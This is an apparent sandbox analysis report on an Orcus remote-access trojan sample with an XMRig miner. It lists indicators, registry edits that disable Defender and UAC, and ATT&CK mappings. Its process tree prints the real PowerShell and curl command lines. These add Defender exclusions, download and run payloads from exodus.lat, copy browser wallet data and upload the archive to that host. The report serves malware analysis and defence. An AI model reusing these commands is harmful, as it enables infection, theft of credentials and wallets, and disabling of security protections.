orcus | 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c

Analysis

max time kernel
98s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08/12/2024, 16:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Size 4.0MB
Sample241208-vhhlvazkds
SHA256 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c
MD5 8b0fa2f9a7d3822c44580a49dd546c97
SHA1 e90ac8103e2877a3c607fd8e4bdcd4a132846015
SHA512 2f168cfaf3cab1ab5cf274bc7983a64587fd26487fffa733393146e02ea609c0a0ed8f4527b58ad82416557afe91d1efa0b11afd35fbdfce7bc7a48a77c23680
SSDEEP 98304:MANuSZTKA0t9FFPEE6zTOwlRVny+pnp4huLe1ypSb3o9JCm:/bk9fcHiwVyWRi1ypS6JC
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

orcus ta505 xmrig defense_evasion discovery evasion execution miner persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://exodus.lat/COMSurrogate.exe

Extracted

Family

orcus

45.74.38.211:4782

Mutex

5473b263a5de48aaabfe373bccf83dd2

Attributes

autostart_method
Disable
enable_keylogger
false
install_path
%programfiles%\Orcus\Orcus.exe
reconnect_delay
10000
registry_keyname
Orcus
taskscheduler_taskname
Orcus
watchdog_path
AppData\OrcusWatchdog.exe

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/2844-10-0x0000000005770000-0x000000000577A000-memory.dmp	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus
Orcus family
orcus
TA505
Cybercrime group active since 2015, responsible for families like Dridex and Locky.
ta505
Ta505 family
ta505

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000b000000023b6f-236.dat	family_xmrig
behavioral2/files/0x000b000000023b6f-236.dat	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Orcurs Rat Executable 1 IoCs

resource	yara_rule
behavioral2/memory/2844-1-0x0000000000120000-0x0000000000526000-memory.dmp	orcus

Blocklisted process makes network request 2 IoCs

flow	pid	Process
19	3448	powershell.exe
20	5076	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4628	powershell.exe
4628	powershell.exe
5076	powershell.exe
3360	powershell.exe
3448	powershell.exe
2196	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe

Executes dropped EXE 3 IoCs

pid	Process
1472	smartscreen.exe
3196	COMSurrogate.exe
3172	mi.exe

Loads dropped DLL 1 IoCs

pid	Process
3172	mi.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "C:\\Users\\Admin\\AppData\\Local\\asm\\COMSurrogate.exe"	COMSurrogate.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SmartScreen = "C:\\Users\\Admin\\AppData\\Local\\Temp\\smartscreen.exe"	smartscreen.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe

Hijack Execution Flow: Executable Installer File Permissions Weakness 1 TTPs 1 IoCs

Possible Turn off User Account Control's privilege elevation for standard users.

defense_evasion persistence privilege_escalation

Executable Installer File Permissions Weakness

T1574.005

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "0"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	api.ipify.org
23	api.ipify.org

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
2980	powershell.exe
2980	powershell.exe
4628	powershell.exe
4628	powershell.exe
3448	powershell.exe
3448	powershell.exe
5076	powershell.exe
5076	powershell.exe
3360	powershell.exe
3360	powershell.exe
2196	powershell.exe
2196	powershell.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeDebugPrivilege	3196	COMSurrogate.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeLockMemoryPrivilege	3172	mi.exe
Token: SeLockMemoryPrivilege	3172	mi.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3172	mi.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 2844 wrote to memory of 2980	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe	83
PID 2844 wrote to memory of 2980	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe	83
PID 2844 wrote to memory of 2980	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe	83
PID 2844 wrote to memory of 3056	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe	85
PID 2844 wrote to memory of 3056	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe	85
PID 2844 wrote to memory of 3056	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe	85
PID 3056 wrote to memory of 736	3056	cmd.exe	87
PID 3056 wrote to memory of 736	3056	cmd.exe	87
PID 3056 wrote to memory of 736	3056	cmd.exe	87
PID 736 wrote to memory of 1812	736	net.exe	88
PID 736 wrote to memory of 1812	736	net.exe	88
PID 736 wrote to memory of 1812	736	net.exe	88
PID 3056 wrote to memory of 4628	3056	cmd.exe	89
PID 3056 wrote to memory of 4628	3056	cmd.exe	89
PID 3056 wrote to memory of 4628	3056	cmd.exe	89
PID 2844 wrote to memory of 1724	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe	90
PID 2844 wrote to memory of 1724	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe	90
PID 2844 wrote to memory of 1724	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe	90
PID 2844 wrote to memory of 1472	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe	91
PID 2844 wrote to memory of 1472	2844	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe	91
PID 1724 wrote to memory of 3448	1724	cmd.exe	93
PID 1724 wrote to memory of 3448	1724	cmd.exe	93
PID 1724 wrote to memory of 3448	1724	cmd.exe	93
PID 3056 wrote to memory of 5076	3056	cmd.exe	94
PID 3056 wrote to memory of 5076	3056	cmd.exe	94
PID 3056 wrote to memory of 5076	3056	cmd.exe	94
PID 1724 wrote to memory of 3000	1724	cmd.exe	95
PID 1724 wrote to memory of 3000	1724	cmd.exe	95
PID 1724 wrote to memory of 3000	1724	cmd.exe	95
PID 3000 wrote to memory of 4412	3000	cmd.exe	97
PID 3000 wrote to memory of 4412	3000	cmd.exe	97
PID 3000 wrote to memory of 4412	3000	cmd.exe	97
PID 3056 wrote to memory of 3360	3056	cmd.exe	98
PID 3056 wrote to memory of 3360	3056	cmd.exe	98
PID 3056 wrote to memory of 3360	3056	cmd.exe	98
PID 3000 wrote to memory of 408	3000	cmd.exe	99
PID 3000 wrote to memory of 408	3000	cmd.exe	99
PID 3000 wrote to memory of 408	3000	cmd.exe	99
PID 408 wrote to memory of 5100	408	cmd.exe	100
PID 408 wrote to memory of 5100	408	cmd.exe	100
PID 408 wrote to memory of 5100	408	cmd.exe	100
PID 3360 wrote to memory of 3196	3360	powershell.exe	101
PID 3360 wrote to memory of 3196	3360	powershell.exe	101
PID 3000 wrote to memory of 2196	3000	cmd.exe	102
PID 3000 wrote to memory of 2196	3000	cmd.exe	102
PID 3000 wrote to memory of 2196	3000	cmd.exe	102
PID 3000 wrote to memory of 2848	3000	cmd.exe	105
PID 3000 wrote to memory of 2848	3000	cmd.exe	105
PID 3000 wrote to memory of 2848	3000	cmd.exe	105
PID 2848 wrote to memory of 4424	2848	cmd.exe	106
PID 2848 wrote to memory of 4424	2848	cmd.exe	106
PID 2848 wrote to memory of 4424	2848	cmd.exe	106
PID 3196 wrote to memory of 3172	3196	COMSurrogate.exe	113
PID 3196 wrote to memory of 3172	3196	COMSurrogate.exe	113

System policy modification 1 TTPs 7 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "0"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "0"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe

C:\Users\Admin\AppData\Local\Temp\5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
"C:\Users\Admin\AppData\Local\Temp\5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Checks computer location settings
- Windows security modification
- Checks whether UAC is enabled
- Hijack Execution Flow: Executable Installer File Permissions Weakness
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2844
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\download.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3056
- - C:\Windows\SysWOW64\net.exe
    net session
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:736
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      System Location Discovery: System Language Discovery
      PID:1812
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4628
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5076
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3360
  - - C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe
      "C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3196
    - - C:\Users\Admin\AppData\Local\asm\mi.exe
        
        "C:\Users\Admin\AppData\Local\asm\mi.exe" --config="C:\Users\Admin\AppData\Local\asm\config.json"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:3172
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\runsteal.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://exodus.lat/ss.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat' -UseBasicParsing"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3448
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3000
  - - C:\Windows\SysWOW64\xcopy.exe
      xcopy /E /I "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\*" "C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\"
      4⤵
      System Location Discovery: System Language Discovery
      Enumerates system info in registry
      PID:4412
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:408
    - - C:\Windows\SysWOW64\curl.exe
        
        curl -s https://api.ipify.org
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5100
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2196
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -F "file=@C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip" "https://exodus.lat/files/upload.php"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2848
    - - C:\Windows\SysWOW64\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip" "https://exodus.lat/files/upload.php"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4424
- C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
  "C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:1472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Hijack Execution Flow

T1574

Executable Installer File Permissions Weakness

T1574.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Hijack Execution Flow

T1574

Executable Installer File Permissions Weakness

T1574.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hijack Execution Flow

T1574

Executable Installer File Permissions Weakness

T1574.005

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...